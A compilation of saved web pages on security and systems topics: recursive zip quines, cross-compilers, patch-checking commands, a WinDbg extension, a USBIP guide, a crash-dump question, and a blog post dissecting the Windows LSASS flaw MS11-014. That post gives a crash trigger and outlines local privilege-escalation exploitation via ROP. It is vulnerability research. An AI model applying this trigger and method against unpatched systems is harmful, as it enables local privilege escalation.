<img src='img/Temp2_10606.jpg' />

If the translation of our `L` opcodes above are 5 bytes each, the translation
of the `R` opcodes must also be 5 bytes each, with all the byte counts above
scaled by a factor of 5. \(For example, `L4` now has a 20-byte argument, and
`R4` repeats the last 20 bytes of output.\) The opcode block with a
single`repeat(20,20)` instruction falls well short of 5 bytes:

<img src='img/Temp2_10602.jpg' />

Luckily, an opcode block containing two `repeat(20,10)` instructions has the
same effect and is exactly 5 bytes:

<img src='img/Temp2_10605.jpg' />

Encoding the other sized repeats \(`R` _p_ +1 and `R` _s_ +1\) takes more
effort and some sleazy tricks, but it turns out that we can design 5-byte
codes that repeat any amount from 9 to 64 bytes. For example, here are the
repeat blocks for 10 bytes and for 40 bytes:

<img src='img/Temp2_10608.jpg' />  
<img src='img/Temp2_10607.jpg' />

The repeat block for 10 bytes is two bits too short, but every repeat block is
followed by a literal block, which starts with three zero bits and then
padding to the next byte boundary. If a repeat block ends two bits short of a
byte but is followed by a literal block, the literal block's padding will
insert the extra two bits. Similarly, the repeat block for 40 bytes is five
bits too long, but they're all zero bits. Starting a literal block five bits
too late steals the bits from the padding. Both of these tricks only work
because the last 7 bits of any repeat block are zero and the bits in the first
byte of any literal block are also zero, so the boundary isn't directly
visible. If the literal block started with a one bit, this sleazy trick
wouldn't work.

The second obstacle is that zip archives \(and gzip files\) record a CRC32
checksum of the uncompressed data. Since the uncompressed data is the zip
archive, the data being checksummed includes the checksum itself. So we need
to find a value  _x_ such that writing  _x_ into the checksum field causes the
file to checksum to  _x_. Recursion strikes back.

The CRC32 checksum computation interprets the entire file as a big number and
computes the remainder when you divide that number by a specific constant
using a specific kind of division. We could go through the effort of setting
up the appropriate equations and solving for  _x_. But frankly, we've already
solved one nasty recursive puzzle today, and enough is enough. There are only
four billion possibilities for  _x_ : we can write a program to try each in
turn, until it finds one that works.

If you want to recreate these files yourself, there are a few more minor
obstacles, like making sure the tar file is a multiple of 512 bytes and
compressing the rather large zip trailer to at most 59 bytes so that`R` _s_ +1
is at most `R`64\. But they're just a simple matter of programming.

So there you have it: `r.gz` \(gzip files all the way down\), `r.tar.gz`
\(gzipped tar files all the way down\), and `r.zip` \(zip files all the way
down\). I regret that I have been unable to find any programs that insist on
decompressing these files recursively, ad infinitum. It would have been fun to
watch them squirm, but it looks like much less sophisticated zip bombs have
spoiled the fun.

If you're feeling particularly ambitious, here is rgzip.go, the Go program
that generated these files. I wonder if you can create a zip file that
contains a gzipped tar file that contains the original zip file. Ken Thompson
suggested trying to make a zip file that contains a slightly larger copy of
itself, recursively, so that as you dive down the chain of zip files each one
gets a little bigger. \(If you do manage either of these, please leave a
comment.\)

  

P.S. I can't end the post without sharing my favorite self-reproducing
program: the one-line shell script `#!/bin/cat`.

Posted by rsc on Thursday, March 18, 2010  
Labels: bit twiddling, brute force, code, recursion, storage

# ELLCC - The Embedded LLVM Compiler Collection

**Created:**| _3/1/2013 12:23:15 PM_  
---|---  
**Updated:**| _3/1/2013 12:23:15 PM_  
**Author:**| __  
**Tags:**| __  
  

# The Embedded LLVM Compiler Collection

ELLCC is a project to using Clang and the LLVM  compiler infrastructure. The
primary emphasis of the ELLCC project is to create an easy to use multi-target
cross compilation environment for embedded systems.  
  
QEMU is used for cross-platform testing. Programs are built for the target as
a Linux user space program and run under QEMU for testing purposes.  
  
ELLCC is in a pre-release state. Some targets are farther along than others.
Not for the unhardy\!

## Goals

  * A functional C/C++ compiler based on Clang  \(ecc\)
  * Multi-target support: ARM, i386, Microblaze, Mips, Nios2\[2\], PowerPC, PowerPC64, Sparc\[1\] and X86\_64
  * Multi-OS support: Linux, Standalone, ...
  * A complete test environment \(described in Target Support\)  that allows automatic unit and integration testing of the run-time environment and complete executables.
  * Support of a wide variety of target processors .

## Components

  * ecc - The ELLCC C/C++ compiler. This is a single executable with gcc compatible options that can generate code for all the targets.
  * binutils  \- The GNU binutils package. This package provides assemblers for each of the targeted processors, a linker and other utilities \(objcopy, nm, etc.\).
  * libecc - The C standard library based on the musl  standard C library and the LLVM project's compiler-rt. This package provides a complete run-time environment for Linux with all the source code with a BSD or BSD-like license.
  * The GDB debugger . The provided build scrips build a version of GDB that supports all the targets with a single executable. 
  * The QEMU emulator provides a test execution environment that can run code for each of the targets. Linux user space programs and standalone or bare-metal programs for all targets can be run, tested, and debugged using the emulator.

* * *
\[1\] The standard C library does not compile.  
\[2\] The code generator is unfinished.  

# Command Line Kung Fu: Episode \#16: Got That Patch?

**Created:**| _5/16/2009 10:33:19 AM_  
---|---  
**Updated:**| _5/16/2009 10:33:24 AM_  
**Author:**| __  
**Tags:**| _commandline-kungfu_  
  

### Episode \#16: Got That Patch?

Ed kicks off the sparring with:  
  
One of the nice features within WMIC is its ability to check whether a given
patch is installed on a box using its Quick Fix Engineering \(QFE\) alias. \(I
know... QFE in my old life as a Solaris admin stood for Quad Fast Ethernet.
Not anymore. Oh, and don't tell anyone that I used to be a Solaris admin.
That's just our little secret.\)  
  
Anyway, we can query by KB article number for a given patch, using the
following syntax:  
  

[code]

    C:\> wmic qfe where hotfixid="KB958644" list full
    
[/code]

  
This little gem will show whether the patch associated with MS08-067 is
installed, which was the vulnerability the Conficker worm initially used to
spread. This command, when used with the appropriate KB number, can really
help you to determine whether a given patch is installed, and whether it was
installed in a timely fashion. Yes, the output does include an "InstalledOn"
date\! That's especially helpful if you need to verify that your admins have
moved quickly for an out-of-cycle patch, like the one associated with
MS08-067.  
  
You can make it run remotely, provided you have admin credentials on a target
machine, by adding the following notation before the qfe:  
  

[code]

    /node:[IPaddr] /user:[admin] /password:[password]
[/code]

  
Leave off the password, and it'll prompt you. Change the \[IPaddr\] to
"@\[filename\]", and it'll check all machines whose names or IP addresses you
have listed in that file.  
  
I was once teaching a class full of a bunch of auditors where this command
came up, in a pretty comical fashion. There was a delightful little old lady
in the class, just a grey-haired sweetheart with a nice grandmotherly voice. I
was explaining wmic qfe to the class. She raised her hand, and meekly asked
very slowly, "So, does this output include the date the patch was installed?"
I responded, "Why, yes, it does." She shot back with an evil cackle,
"Yesssss\! I will be able to DESTROY people's lives with this\!" Ahhh...
auditors. You gotta love 'em. :\)  
  
Hal Says:  
  
In this case, Ed has the advantage because he only has to deal with a single
operating system. It seems like package and patch management is one of the
things that no two Unix or Linux providers do the same way. So for purposes of
this example, let me just pick two of the more popular Linux package
management schemes: the Debian apt system and the Red Hat yum and rpm
utilities.  
  
On Debian-derived systems like my Ubuntu laptop, figuring out which packages
need to be upgraded is straightforward:  
  

[code]

    # **apt-show-versions -u**  
     libjasper1/intrepid-security upgradeable from 1.900.1-5 to 1.900.1-5ubuntu0.1  
    libnss3-1d/intrepid-security upgradeable from 3.12.0.3-0ubuntu5 to 3.12.0.3-0ubuntu5.8.10.1
    
[/code]

  
It's also pretty clear from the output that these are both security-related
updates.  
  
What's interesting is that Debian doesn't appear to track the install time for
the various packages on the system, much to the disappointment of Ed's little
old lady auditor I'm sure. However, when system updates are done the new
packages are downloaded to /var/cache/apt/archives. If the system
administrator doesn't clean up their package cache on a regular basis \("apt-
get clean"\), you could look at the timestamps on the various package files in
this directory to find out when the last update occurred.  
  
On Red Hat systems, "yum list updates" will show packages that need to be
updated. However, unlike Debian systems, there's no clue about whether the
given patch is security-related or just a functionality update. The good news
is that as of RHEL 5.x, there is now a "yum-security" plug-in that you can
install \("yum install yum-security"\) which will allow you to get information
about and install only security-related patches:  
  

[code]

    # **yum list-security**             # lists available security updates  
    # **yum update --security**         # installs security-related updates
    
[/code]

  
Red Hat systems do track package installation times. Here's a command to dump
out the package name, version, and installation date of a single package:  
  

[code]

    # **rpm -q --qf "%{NAME}\t%{VERSION}\t%{INSTALLTIME:date}\n" tzdata**  
     tzdata 2008i Sun 23 Nov 2008 10:06:32 AM PST
    
[/code]

  
You can also generate a report for all packages on the system:  
  

[code]

    # **rpm -qa --qf "%-30{NAME} %-15{VERSION} %{INSTALLTIME:date}\n"**
    
[/code]

  
That will give you a nice, pretty-printed list with neat column boundaries.  
  
Paul Chimes In:  
  
Luckily since we are running OS X, we don't have to worry about
vulnerabilities because the "fan boy's" operating system doesn't concern
itself with such things. Ha\! Kidding of course \(however, most of our
vulnerabilities and exploits are of the 0day flavor, so patches don't help us,
\*cough\* Safari\). OS X comes with a command line utility called
softwareupdate. You can list packages that need to be installed using the
following command:  
  

[code]

    # softwareupdate -l  
    Software Update Tool  
    Copyright 2002-2007 Apple  
      
    No new software available.
    
[/code]

  
  
In the above command you can see that the system is up-to-date \(I tend to
apply software updates from Apple as soon as they come out, as usually the
vulnerability and exploit has been out for some time\). Having a command line
version makes it easy to update systems remotely, provided you have root
privileges on the remote system. If there were packages available to install I
could use the following command to install them:  
  

[code]

    # softwareupdate -i -a
    
[/code]

  
  
Which instructs OS X to install \(-i\) all available updates \(-a\). OS X is a
different beast than Linux/UNIX \(borrowing more from \*BSD, which we haven't
covered in any detail yet\), so getting more information about installed
software is different. One command I cam across was "pkgutil", which can be
used to see which updates have been installed. You can run the following
command \(without root or administrator privileges\):  
  

[code]

    $ pkgutil --packages | grep com.apple.pkg.update*  
    com.apple.pkg.update.os.10.5.3  
    com.apple.pkg.update.os.10.5.4  
    com.apple.pkg.update.security.2008.005  
    com.apple.pkg.update.os.10.5.5  
    com.apple.pkg.update.security.2008.007  
    com.apple.pkg.update.os.10.5.6  
    com.apple.pkg.update.security.2009.001
    
[/code]

  
  
And it will list the currently installed software update packages on the
system. Apple typically releases updates in the format of ., so 2009.001 is
the first security update package for 2009. If you want to get a bit more
specific on the date the package was installed, you can look at the timestamps
of the files in the /Library/Receipts/boms/ directory:  
  

[code]

    # ls -l  com.apple.pkg.update.*  
    -rw-r--r--  1 _installer  wheel  3420277 May 23  2008 com.apple.pkg.update.os.10.5.3.bom  
    -rw-r--r--  1 _installer  wheel   481598 Jun 20  2008 com.apple.pkg.update.os.10.5.4.bom  
    -rw-r--r--  1 _installer  wheel   876891 Sep  6  2008 com.apple.pkg.update.os.10.5.5.bom  
    -rw-r--r--  1 _installer  wheel  3111901 Dec  8 22:15 com.apple.pkg.update.os.10.5.6.bom  
    -rw-r--r--  1 _installer  wheel   122728 Jul 31  2008 com.apple.pkg.update.security.2008.005.bom  
    -rw-r--r--  1 _installer  wheel   460162 Sep 29 23:53 com.apple.pkg.update.security.2008.007.bom  
    -rw-r--r--  1 _installer  wheel   469254 Jan 30 21:51 com.apple.pkg.update.security.2009.001.bom
    
[/code]

  
  
A "bom" file in OS X is a "Bill Of Materials" which in the case of an update,
is a list of files that were installed as part of that package. Not as pretty
as Hal's output, but then again, who's as pretty as Hal?

# bruce30262/TWindbg

**Created:**| _8/2/2017 10:14:03 PM_  
---|---  
**Updated:**| _8/2/2017 10:14:03 PM_  
**Author:**| __  
**Tags:**| __  
  

  

# TWindbg

PEDA-like debugger UI for WinDbg

<img src='img/13228_context.PNG.png' width='888' height='639' alt='context
img' />

# Introduction

This is a windbg extension \( using pykd \) to let user having a PEDA-like
debugger UI in WinDbg.  
It will display the following context in each step/trace:

  * Registers
  * Disassembled code near PC
  * Contents of the stack pointer \( with basic smart dereference \)

For now it supports both x86 & x64 WinDbg.

# Dependencies

  * Python2.7 \( The extension has NOT been tested on Python3 \)
  * pykd

# Installation

  * Install Python2.7 & pykd
  * Download the repository
  * Install the matrix theme by double-clicking the matrix\_theme.reg
    * The matrix theme is required for letting the color theme work in TWindbg
    * You can preview the theme by importing the matrix\_theme.WEW workspace into WinDbg.
  * Copy the TWindbg folder into ` [WinDbg Directory]\x64\winext\ ` & ` [WinDbg Directory]\x86\winext\ `

# Usage

## Launch TWindbg manually

  * Open an executable or attach to a process with WinDbg
  * Use ` .load pykd.pyd ` to load the ` pykd ` extension
  * Use ` !py -g winext\TWindbg\TWindbg.py ` to launch TWindbg

## Launch TWindbg with command

[code]

    [PATH_TO_WINDBG] -a pykd.pyd -c "!py -g winext\TWindbg\TWindbg.py"
    
[/code]

Or you can write a simple batch file for the sake of convenience.

After that you can just use ` t ` or ` p ` to see if the extension is working.

# Note

Maybe \( just maybe \) I'll add some command to make WinDbg behave more like
PEDA \( or other debugger like pwndbg, GEF... \) in the future.

  

# theForger's Win32 API Tutorial

**Created:**| _6/12/2009 10:06:00 PM_  
---|---  
**Updated:**| _6/12/2009 10:06:13 PM_  
**Author:**| __  
**Tags:**| _windows security Exploit programming_  
  

### Welcome to theForger's Win32 API Tutorial

This tutorial attempts to get you started developing with the Win32 API as
quickly and clearly as possible.

**Download Full Example Code**

     The tutorial text does not include full source code listings, you will need to download this .zip if you want to compile the completed examples. Projects and solutions have been updated to Visual C++ 2008. Visual C++ 2005 users can also probably use it without too much trouble.
**This tutorial is meant to be read as a whole**

Please read it from beginning to end before asking questions... most of them
will probably be answered. Each section builds on the sections before it. I
have also added some solutions to common errors in Appendix A. If you ask me a
question that is answered on this page, you will look very silly.

If you are viewing this locally or on another website, visit the \#winprog
website for the current official copy.

  * **Chinese Translation \(new\)**
  * **Chinese Translation PDF \(new\)**
  * **Versión en Español**
  * **Italian Translation**
  * **English PDF**
  * **Arabic Translation PDF**

The translation and PDF versions are unfortunately difficult to update, and
are based on older versions of the tutorial. Most of the content should be the
same, but they are missing recent updates and bug fixes.

# nix\_intrusion.pdf \(application/pdf Object\)

**Created:**| _5/9/2009 10:49:06 AM_  
---|---  
**Updated:**| _5/9/2009 10:49:14 AM_  
**Author:**| __  
**Tags:**| _cheat sheets_  
  

# Raspberry Pi • View topic - USB redirector

**Created:**| _1/23/2013 10:28:32 AM_  
---|---  
**Updated:**| _1/23/2013 10:28:32 AM_  
**Author:**| __  
**Tags:**| _Linux kernel Lab-Setup_  
  

**H** ere is how to get USBIP working on raspberry pi:  
Note: I have only done this on the debian wheezy beta**.** May or may not work
on anything else**.**  
  
Compiling the drivers \(if the official kernel enables the modules this step
will not be necessary\):  
First, make sure you have updated to the latest kernel, modules, firmware,
etc**.** Then:  

Code: Select all

    `sudo apt-get install git  
git clone git://github.com/raspberrypi/linux.git kernel  
cd kernel  
wget https://raw.github.com/raspberrypi/firmware/master/extra/Module.symvers  
zcat /proc/config**.** gz > .config  
`

  
Then open .config with an editor and add this at the end:  

Code: Select all

    `CONFIG_USBIP_CORE=m  
CONFIG_USBIP_VHCI_HCD=m  
CONFIG_USBIP_HOST=m  
CONFIG_USBIP_DEBUG=n  
`

  
Then:  

Code: Select all

    `make oldconfig  
make LOCALVERSION=+ modules_prepare  
make SUBDIRS=drivers/staging/usbip  
sudo make SUBDIRS=drivers/staging/usbip modules_install  
sudo depmod -a  
`

  
  
Then install usbip:  

Code: Select all

    `sudo apt-get install usbip`
  
  
Then to load the host driver \(for sharing usb devices\):  

Code: Select all

    `sudo modprobe usbip-host`
  
  
To list devices:  

Code: Select all

    `sudo usbip list -l`
  
  
Note the busid on the device you want to share and then:  

Code: Select all

    `sudo usbip bind --busid <busid>`
  
which should respond with:  

Code: Select all

    `bind device on busid <busid>: complete`
  
  
Then on the client:  

Code: Select all

    `sudo modprobe vhci-hcd  
usbip list --remote <pi ip>  
sudo usbip attach --host <pi ip> --busid <busid>  
lsusb  
`

  
and you should see the device that is connected to the pi in the lsusb output
on the client \(and you should be able to use it\)**.**  
  
Note that listing and/or attaching on the client may sometimes fail the first
time in which case you may need to issue the bind command again on the
pi**.******

# newsoft's tech blog: MS11-014: this is not the bug your are looking for …

**Created:**| _1/11/2012 9:27:10 AM_  
---|---  
**Updated:**| _1/11/2012 9:27:10 AM_  
**Author:**| __  
**Tags:**| _windows vulnerability_  
  

### MS11-014: this is not the bug your are looking for …

###  Intro

It could be believed that patch management was an outdated topic for year
2011. However, I have still been asked by a client to challenge their internal
patch management policy by delivering a working exploit faster than the _XX_
-day period they waited before patch deployment \(_XX_ being somewhere between
10 and 99 - I love random figures like this ;\).  
  
This event occurred in February 2011. Having a look at the gorgeous monthly
Microsoft release, we decided to target MS11-014 \(“ _Vulnerability in Local
Security Authority Subsystem Service Could Allow Local Elevation of Privilege_
”\), since local bugs are usually easier to exploit reliably.  
  

As this story occurred one year ago, I assume that everybody had enough time
to patch. And local exploits are not “wormable”, therefore releasing this
information will _not_ result in the end of Internet.

###  Patch analysis

The patch itself is piece of cake: only LSASRV.DLL has changed, and only 2
functions have changed within that DLL.  
  

FMyPrimitiveHMACParam\(\) only had a few extra NOPs added.  
  

On the other hand, NegpMapLogonRequest\(\) is an excellent candidate, for an
extra size check has been added \(as shown below in **bold red**\) – sorry for
providing unformatted Hex-Rays pseudo-code, I know it is lame ;\)  
  

signed int \_\_stdcall NegpMapLogonRequest\(char \*a1, void \*a2, unsigned int
a3, struct \_MSV1\_0\_INTERACTIVE\_LOGON \*\*a4\) \{  
\(…\)  
if \( v6 > 0x100u || \*\(\_WORD \*\)v5 > 0x100u  
** || \(v7 = \*\(\(\_WORD \*\)a1 + 2\), v7 > 0x1FEu\)** \)  
return -1073741562;  
\(…\)  
\}  
  
  

a1 is not really a char\* but rather a LSA\_UNICODE\_STRING, defined as such:  
  

typedef struct \_LSA\_UNICODE\_STRING \{  
USHORT Length;  
USHORT MaximumLength;  
PWSTR Buffer;  
\} LSA\_UNICODE\_STRING, \*PLSA\_UNICODE\_STRING, UNICODE\_STRING,
\*PUNICODE\_STRING;  
  
  

NegpMapLogonRequest\(\) has two direct callers: NegpCloneLogonSession\(\) and
NegpIsLocalOrNetworkService\(\), which is in turn called from
NegLogonUserEx2\(\).  
  

Those APIs are internal to LSASS, and are exposed to other processes through
loosely documented LPC calls. The easiest way to trigger that piece of code
from any process is to rely on the official LogonUserEx API.

###  Debugging LSASS

Debugging LSASS locally can be tricky, for it is a critical system process
that is involved in the debugging subsystem itself. Do not expect to be able
to attach OllyDbg and go away with it … The easiest way to do it seems to rely
on the Kernel Debugger itself, which has also the ability to debug any
userland process.  
  

That being done, WinDbg confirms that our target function is indirectly called
from LogonUserEx\(\) indeed, plus the offending string is the _user-supplied
domain name_ …  
  

kd> kv  
ChildEBP RetAddr  
00acfc8c 757434c5 LSASRV\!NegpMapLogonRequest  
00acfcb4 75742e41 LSASRV\!NegpIsLocalOrNetworkService+0x2f  
00acfcf8 75742891 LSASRV\!NegLogonUserEx2+0xaa  
00acfe98 757422ae LSASRV\!LsapAuApiDispatchLogonUser+0x33b  
00acfeac 75739481 LSASRV\!LpcLsaLogonUser+0x22  
00acfec4 757393a5 LSASRV\!DispatchAPI+0x46  
00acff50 75738cfa LSASRV\!LpcHandler+0x153  
00acff74 75738dbe LSASRV\!SpmPoolThreadBase+0xb9  
00acffb4 7c80b729 LSASRV\!LsapThreadBase+0x91  
00acffec 00000000 kernel32\!BaseThreadStart+0x37  

  
Wait … does it mean that calling LogonUserEx\(\) with a domain name over 0x200
characters is enough to trigger that bug ? Unfortunately not: _because there
is no bug_ … The logon triplet \(username, domain, password\) will be rejected
as invalid – which it is.

###  Where is the meat?

There is still one missing piece in the puzzle: where is the bug? No
vulnerable string copy is to be found anywhere within LSASRV.DLL. And
providing an oversized domain name will _not_ result in any crash.  
  

At this point, there are two possible ways to go: one is hard work. The other
is ~~laziness~~ efficiency. As Jorge Moura \(from Primavera BSS\) is credited
for the discovery, I emailed him. Not only did he respond over the night, but
he also provided me with a test vector. Which turns to be something like:  
  

LogonUser\(  
\_T\("SomeUsername"\),  
\(TCHAR\*\)domain,  
\_T\("SomePassword"\),  
LOGON32\_LOGON\_NEW\_CREDENTIALS, // defined as 9  
LOGON32\_PROVIDER\_DEFAULT, // defined as 0  
&hToken \);  
\(…\)  
ImpersonateLoggedOnUser\( hToken \);  
\(…\)  
CreateFile\(  
\_T\(\\\\\\\127.0.0.1\\\c$\\\boot.ini\),  
GENERIC\_READ,  
FILE\_SHARE\_READ|FILE\_SHARE\_WRITE,  
NULL, // security attributes  
OPEN\_EXISTING,  
FILE\_ATTRIBUTE\_NORMAL,  
NULL  
\);  
  
  

The trick is to specify the LOGON32\_LOGON\_NEW\_CREDENTIALS flag, which has
the following effect:  
  

“ _This logon type allows the caller to clone its current token and specify
new credentials for outbound connections. The new logon session has the same
local identifier but uses different credentials for other network
connections._ ”  
  

In that case, new credentials are not immediately checked, but rather stored
“as is” in memory for future use. And the crash occurs when the authentication
package – namely MSV1\_0.DLL – makes use of those new credentials.  
  

Vulnerable function is SspMapContext\(\) in which lies an unbounded, inlined
memcpy\(\). Destination is the local function stack … What else? ;\)

###  Exploitation details

Despite being a “classical”, size-unlimited, Unicode stack overflow, generic
exploitation of this bug can be tricky on an up-to-date Windows XP SP3 target.  
  

LSASS process and all Microsoft-provided DLLs that are loaded by default
within that process benefit from PEB and stack randomization, are flagged as
/NXCOMPAT and /SAFESEH. The offending function is itself protected by a stack
cookie \(as a result of /GS option\). Exploitation is one-shot, since LSASS
process death will notoriously result in a forced system reboot.  
  

During that particular assignment, it turned out that Symantec \(ex-Sygate\)
personal firewall also loads SYSFER.DLL \(version 1.0.0 at that time – if it
means something\) into LSASS address space. As this DLL has been compiled
_without any security option_ , and given that Windows XP does not provide any
ASLR for code mappings, this DLL has been used as a gadget provider for ROP-
like exploitation. After some MIASM magic, all client boxes were reliably
0wn3d – thanks to Symantec security products being installed ;\)

###  Outro \(a.k.a. TL;DR\)

In summary:  

  * The effective bug has _not_ been fixed. Any other API that would allow passing an oversized domain name to LSASS could result in triggering the very same bug within MSV1\_0.
  * Leave figures to risk managers and top-level management only. It makes no sense trying to define metrics such as “days before public exploit”, when unqualified exploit writers can provide a reliable attack vector within 2 days – not to mention all the people who had access to this flaw before public release. And after one year, this issue is still marked as “no public exploit available” on Microsoft summary page.
  * According to the original discoverer, such a trivial bug \(think: _oversized domain name provided during user authentication_\) was found by accident during a software QA session.
  * According to Microsoft security bulletin, this bug only affects Windows XP and Windows 2003. It is assumed \(without checking\) that memcpy\(\) has eventually been defined as dangerous and replaced as much as possible by memcpy\_s\(\). Is Microsoft aware of the number of security issues it killed? Who knows …

# OSR's windbg List: Access Violation c0000005 - mrxdav or AV

**Created:**| _5/7/2017 10:20:54 AM_  
---|---  
**Updated:**| _5/7/2017 10:20:54 AM_  
**Author:**| __  
**Tags:**| _windows security Driver_  
  

  

**Driver Problems? Questions? Issues?**  
Put OSR's experience to work for you\! Contact us for assistance with:

  * Creating the right design for your requirements
  * Reviewing your existing driver code
  * Analyzing driver reliability/performance issues
  * Custom training mixed with consulting and focused directly on your specific areas of interest/concern.

Check us out. OSR, the Windows driver experts. |   
---|---  
  
| <img src='img/navbits_start.gif' width='15' height='15' alt='Go Back' /> |  | OSR Online Lists > windbg  
---|---|---  
<img src='img/navbits_finallink.gif' width='30' height='15' alt='link'
/>**Access Violation c0000005 - mrxdav or AV**  
**Welcome, Guest**  
You must login to post to this list  
**Message 1 of 2** 18 Mar 17 17:44  
---  
|  Jorge Silva xxxxxx@hotmail.com |  Join Date: 18 Mar 2017 Posts To This List: 1  
---|---  
**Access Violation c0000005 - mrxdav or AV**

* * *
Hi, I had a BSOD listed below and according with the \!analyze -v the problem
might be related with the
mrxdav\!MRxDAVFormatUserModeVNetRootFinalizeRequest+cf / Access Violation
c0000005/ NULL\_DEREFERENCE related with module mrxdav.sys. I\`m a newbie on
WinDbg, but since the AV appears in the faulty Call stack I\`m suspecting that
the AV may something to do with it. Since this dump appears to deal with UNC
paths/File related, I was trying to find the file name/path and destination
\(not sure if is a local folder or remote computer\)??\!\!\! Can you give me
your opinion and show me how to find the UNC path or File name involved in
this problem? Bellow the Analysis that I was able to get from this kernel
dump. Thank you. 7: kd> \!analyze -v
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
\* \* \* Bugcheck Analysis \* \* \*
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
RDR\_FILE\_SYSTEM \(27\) If you see RxExceptionFilter on the stack then the
2nd and 3rd parameters are the exception record and context record. Do a .cxr
on the 3rd parameter and then kb to obtain a more informative stack trace. The
high 16 bits of the first parameter is the RDBSS bugcheck code, which is
defined as follows: RDBSS\_BUG\_CHECK\_CACHESUP = 0xca550000,
RDBSS\_BUG\_CHECK\_CLEANUP = 0xc1ee0000, RDBSS\_BUG\_CHECK\_CLOSE =
0xc10e0000, RDBSS\_BUG\_CHECK\_NTEXCEPT = 0xbaad0000, Arguments: Arg1:
00000000baad0073 Arg2: fffff8800572c0a8 Arg3: fffff8800572b900 Arg4:
fffff88003992def Debugging Details: \------------------ EXCEPTION\_RECORD:
fffff8800572c0a8 -- \(.exr 0xfffff8800572c0a8\) ExceptionAddress:
fffff88003992def
\(mrxdav\!MRxDAVFormatUserModeVNetRootFinalizeRequest+0x00000000000000cf\)
ExceptionCode: c0000005 \(Access violation\) ExceptionFlags: 00000000
NumberParameters: 2 Parameter\[0\]: 0000000000000000 Parameter\[1\]:
0000000000000000 Attempt to read from address 0000000000000000 CONTEXT:
fffff8800572b900 -- \(.cxr 0xfffff8800572b900\) rax=0000000000000000
rbx=0000000000000000 rcx=fffffa80ed67d010 rdx=fffffa8147652810
rsi=fffffa80c9ce9f38 rdi=fffffa813cc9bca0 rip=fffff88003992def
rsp=fffff8800572c2e0 rbp=fffff8800304ed08 r8=fffff8800304ed08
r9=00000000000023d4 r10=fffffa81324b6494 r11=fffff8800572c300
r12=fffffa81324b6310 r13=fffff88003986110 r14=fffff88003985520
r15=fffffa80c1d93040 iopl=0 nv up ei ng nz na po nc cs=0010 ss=0018 ds=002b
es=002b fs=0053 gs=002b efl=00010286
mrxdav\!MRxDAVFormatUserModeVNetRootFinalizeRequest+0xcf: fffff880\`03992def
8b00 mov eax,dword ptr \[rax\] ds:002b:00000000\`00000000=???????? Resetting
default scope CPU\_COUNT: 8 CPU\_MHZ: 95d CPU\_VENDOR: GenuineIntel
CPU\_FAMILY: 6 CPU\_MODEL: 1a CPU\_STEPPING: 4 CPU\_MICROCODE: 6,1a,4,0
\(F,M,S,R\) SIG: 36'00000000 \(cache\) 36'00000000 \(init\)
DEFAULT\_BUCKET\_ID: NULL\_DEREFERENCE PROCESS\_NAME: svchost.exe
CURRENT\_IRQL: 0 ERROR\_CODE: \(NTSTATUS\) 0xc0000005 - The instruction at
0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION\_CODE:
\(NTSTATUS\) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p.
The memory could not be %s. EXCEPTION\_CODE\_STR: c0000005
EXCEPTION\_PARAMETER1: 0000000000000000 EXCEPTION\_PARAMETER2:
0000000000000000 FOLLOWUP\_IP:
mrxdav\!MRxDAVFormatUserModeVNetRootFinalizeRequest+cf fffff880\`03992def 8b00
mov eax,dword ptr \[rax\] FAULTING\_IP:
mrxdav\!MRxDAVFormatUserModeVNetRootFinalizeRequest+cf fffff880\`03992def 8b00
mov eax,dword ptr \[rax\] READ\_ADDRESS: 0000000000000000 BUGCHECK\_STR: 0x27
ANALYSIS\_SESSION\_HOST: C9O8EPR ANALYSIS\_SESSION\_TIME: 03-18-2017
19:20:11.0542 ANALYSIS\_VERSION: 10.0.14321.1024 amd64fre DEVICE\_OBJECT:
fffffa80d05b5070 DRIVER\_OBJECT: fffffa80c0f2fe40 LAST\_CONTROL\_TRANSFER:
from fffff8800399e7be to fffff88003992def STACK\_TEXT: fffff880\`0572c2e0
fffff880\`0399e7be : fffffa81\`324b6310 fffff880\`03992d20 fffffa81\`47652810
00000000\`00000000 : mrxdav\!MRxDAVFormatUserModeVNetRootFinalizeRequest+0xcf
fffff880\`0572c330 fffff880\`0399f633 : fffffa81\`324b6310 00000000\`00000001
fffff800\`0237bf01 fffff800\`000023d4 :
mrxdav\!UMRxPrepareUserModeRequestBuffer+0x2ca fffff880\`0572c3c0
fffff880\`03988411 : fffffa81\`324b6458 00000000\`00000000 fffffa80\`d1861e0e
fffffa81\`06649010 : mrxdav\!UMRxAssignWork+0x47b fffff880\`0572c420
fffff880\`03332345 : fffffa80\`c1d93040 fffffa81\`06649010 fffffa80\`d1861e90
fffffa80\`d1861ca0 : mrxdav\!MRxDAVDevFcbXXXControlFile+0x36d
fffff880\`0572c490 fffff880\`03331709 : 00000000\`000001eb fffffa80\`d1861ca0
ffff0000\`0643a4df 64536553\`1263177c : rdbss\!RxXXXControlFileCallthru+0xcd
fffff880\`0572c4c0 fffff880\`032ff6a0 : 00000000\`00000000 fffff880\`0572c550
fffffa81\`06649010 00000000\`00000000 : rdbss\!RxCommonDevFCBIoCtl+0xf5
fffff880\`0572c510 fffff880\`0331cbb4 : fffffa80\`d1861ca0 fffffa80\`d05b500e
00000000\`014a9918 00000000\`00000001 : rdbss\!RxFsdCommonDispatch+0x870
fffff880\`0572c600 fffff880\`03990be5 : 00000000\`00000000 fffff880\`014a9918
fffffa80\`d1861ca0 fffffa80\`d05b5070 : rdbss\!RxFsdDispatch+0x224
fffff880\`0572c670 fffff880\`014a7c79 : fffffa80\`c1d93040 fffffa80\`d1861ca0
fffff880\`0572c80e 00000000\`00000000 : mrxdav\!MRxDAVFsdDispatch+0x6c5
fffff880\`0572c740 fffff880\`014a6175 : fffff8a0\`002aa8a0 fffffa80\`c9572620
00000000\`00000103 fffffa80\`d1861f20 : mup\!MupiCallUncProvider+0x169
fffff880\`0572c7b0 fffff880\`014a8001 : fffffa80\`d1861ca0 fffff880\`014a4118
fffffa80\`d05b5070 00000000\`00000000 : mup\!MupStateMachine+0x165
